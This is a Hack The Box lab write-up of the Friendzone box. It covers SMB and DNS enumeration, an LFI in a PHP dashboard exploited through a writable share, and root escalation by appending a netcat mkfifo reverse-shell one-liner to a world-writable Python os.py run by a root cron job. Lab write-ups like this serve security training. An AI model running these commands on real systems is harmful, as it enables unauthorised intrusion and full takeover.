Home Friendzone - Hack The Box
Post
Cancel

Friendzone - Hack The Box

Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root.

Summary

  • A SMB share I access to contains credentials
  • I can do a zone transfer and find a bunch of sub-domains
  • The dashboard page contains an LFI which I can use in combination with the writable SMB share to get RCE
  • After getting a shell as www-data, I find plaintext credentials that I use to log in as user friend
  • A python script using os.py runs as root and os.py is writable so I can add code to get a reverse shell as root

Detailed steps

Nmap scan

The box has a got a couple of services running. I take note of the DNS server since this could be used to do a DNS zone transfer and query various records that may contain useful information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# nmap -sC -sV -p- 10.10.10.123
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 19:05 EST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.013s latency).
Not shown: 65528 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP site

Anonymous access is not allowed on the FTP server:

1
2
3
4
5
6
7
8
# ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Nothing pops up on Exploit-DB for this version of vsFTPd so Iโ€™ll move on.

Web enumeration

The site is just a simple page with nothing interactive on it but there is a domain name at the bottom which Iโ€™ll investigate further.

SMB shares

Using smbmap I can list the shares on the box:

1
2
3
4
5
6
7
8
9
10
11
# smbmap -H 10.10.10.123
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445	Name: friendzone.htb                                    
	Disk                                                  	Permissions
	----                                                  	-----------
	print$                                            	NO ACCESS
	Files                                             	NO ACCESS
	general                                           	READ ONLY
	Development                                       	READ, WRITE
	IPC$                                              	NO ACCESS

I can also find where the shares on the filesystem are mapped with the smb-enum-shares nmap script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# nmap -p 445 --script=smb-enum-shares 10.10.10.123
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 20:52 EST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.0089s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.10.123\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\Files: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files /etc/Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\hole
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.123\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\general: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\general
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds

Listing files from the share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# smbmap -H 10.10.10.123 -r
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445	Name: friendzone.htb                                    
	Disk                                                  	Permissions
	----                                                  	-----------
	print$                                            	NO ACCESS
	Files                                             	NO ACCESS
	general                                           	READ ONLY
	./                                                 
	dr--r--r--                0 Wed Jan 16 15:10:51 2019	.
	dr--r--r--                0 Wed Jan 23 16:51:02 2019	..
	fr--r--r--               57 Tue Oct  9 19:52:42 2018	creds.txt
	Development                                       	READ, WRITE
	./                                                 
	dr--r--r--                0 Sat Feb  9 15:50:02 2019	.
	dr--r--r--                0 Wed Jan 23 16:51:02 2019	..
	IPC$                                              	NO ACCESS

creds.txt looks interesting:

1
2
3
4
5
6
7
8
9
10
11
# smbclient -U "" //10.10.10.123/general

Enter HTB\'s password: 
Try "help" to get a list of possible commands.
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit
root@ragingunicorn:~/htb/friendzone# cat creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

Found some credentials: admin / WORKWORKHhallelujah@#

Sub-domains enumeration

Now that I have credentials, I just need to find where to use them.

I can do a zone transfer for that domain I saw earlier on the main page and get the list of all sub-domains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# host -t axfr friendzone.red 10.10.10.123
Trying "friendzone.red"
Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases: 

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56850
;; flags: qr aa; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;friendzone.red.			IN	AXFR

;; ANSWER SECTION:
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800

Received 250 bytes from 10.10.10.123#53 in 12 ms

Iโ€™ll add those entries to my local /etc/hosts.

Upload page

Thereโ€™s a php application to upload images at https://uploads.friendzone.red.

Whenever I upload a file (image or not), I get a successful message:

Administrator page

The https://administrator1.friendzone.red page contains a login form on which I can use the credentials I found in the SMB share.

After logging in I am asked to go to dashboard.php.

The dashboard page seems to be some application that deals with images, but itโ€™s not really clear what it does except take an image name as a parameter and a pagename.

If I try the parameters displayed on the page I get:

The image is linked to /images, but none of the files I tried to upload from the previous upload page are found in that directory.

Thereโ€™s an LFI in the pagename parameter and I can use a PHP base64 encode filter to read files:

Request: https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=pagename=php://filter/convert.base64-encode/resource=dashboard

The base64 encoded text is the source code for dashboard.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 }else{
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 include($_GET["pagename"].".php");
 //echo $_GET["pagename"];
 }
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>

The .php suffix is added automatically after the filename so I canโ€™t arbitrarily read any files. I tried the PHP path truncation technique as well as adding null bytes at the end of string but I was not able to bypass this.

I also dumped the upload.php source code and saw that the upload thing is just a troll since it doesnโ€™t do anything.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

// not finished yet -- friendzone admin !

if(isset($_POST["image"])){

echo "Uploaded successfully !<br>";
echo time()+3600;
}else{

echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !";

}

?>

Getting a shell with PHP

The Development share I saw earlier is writable by the guest user so I can upload a PHP reverse shell in there and use the LFI to trigger it. The full path of the share is /etc/Development as indicated in the nmap script output.

1
2
3
4
5
6
# smbclient -U "" //10.10.10.123/Development
Enter HTB\'s password: 
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php (184.9 kb/s) (average 184.9 kb/s)
smb: \> 

I trigger the shell with the following request: https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell

1
2
3
4
5
6
7
8
9
10
# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 36974
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 23:16:59 up 35 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@FriendZone:/$

Found other credentials in the /var/www directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@FriendZone:/var/www$ ls -la
ls -la
total 36
drwxr-xr-x  8 root root 4096 Oct  6 15:47 .
drwxr-xr-x 12 root root 4096 Oct  6 02:07 ..
drwxr-xr-x  3 root root 4096 Jan 16 22:13 admin
drwxr-xr-x  4 root root 4096 Oct  6 01:47 friendzone
drwxr-xr-x  2 root root 4096 Oct  6 01:56 friendzoneportal
drwxr-xr-x  2 root root 4096 Jan 15 21:08 friendzoneportaladmin
drwxr-xr-x  3 root root 4096 Oct  6 02:05 html
-rw-r--r--  1 root root  116 Oct  6 15:47 mysql_data.conf
drwxr-xr-x  3 root root 4096 Oct  6 01:39 uploads
www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

Thereโ€™s a friend user in the local passwd database:

1
2
3
www-data@FriendZone:/var/www$ grep friend /etc/passwd
grep friend /etc/passwd
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash

I can SSH in with those credentials and grab the user.txt flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@ragingunicorn:~/htb/friendzone# ssh friend@10.10.10.123
Ilcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Sat Feb  9 23:43:09 2019 from 10.10.14.23
friend@FriendZone:~$ cat user.txt
a9ed20...

Privesc

/opt/server_admin contains a reporter.py script that probably runs every minutes in a root owned cronjob:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
friend@FriendZone:/opt/server_admin$ cat reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

I can confirm itโ€™s running in a cronjob by using pspy:

The script doesnโ€™t really do anything except import the standard os module.

Looking at the module definition, I see that the permissions are world writable on the one for Python 2.7:

1
2
3
4
5
6
7
friend@FriendZone:/opt/server_admin$ find /usr -name os.py 2>/dev/null
/usr/lib/python3.6/os.py
/usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15 22:19 /usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python3.6/os.py
-rw-r--r-- 1 root root 37526 Sep 12 21:26 /usr/lib/python3.6/os.py

I can modify the os.py file and add a reverse shell at the end so when the module is imported by the script itโ€™ll execute my reverse shell.

1
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f")

A few moments later I get a shell as root:

1
2
3
4
5
6
7
8
# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 60168
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
b0e6c6...
This post is licensed under CC BY 4.0 by the author.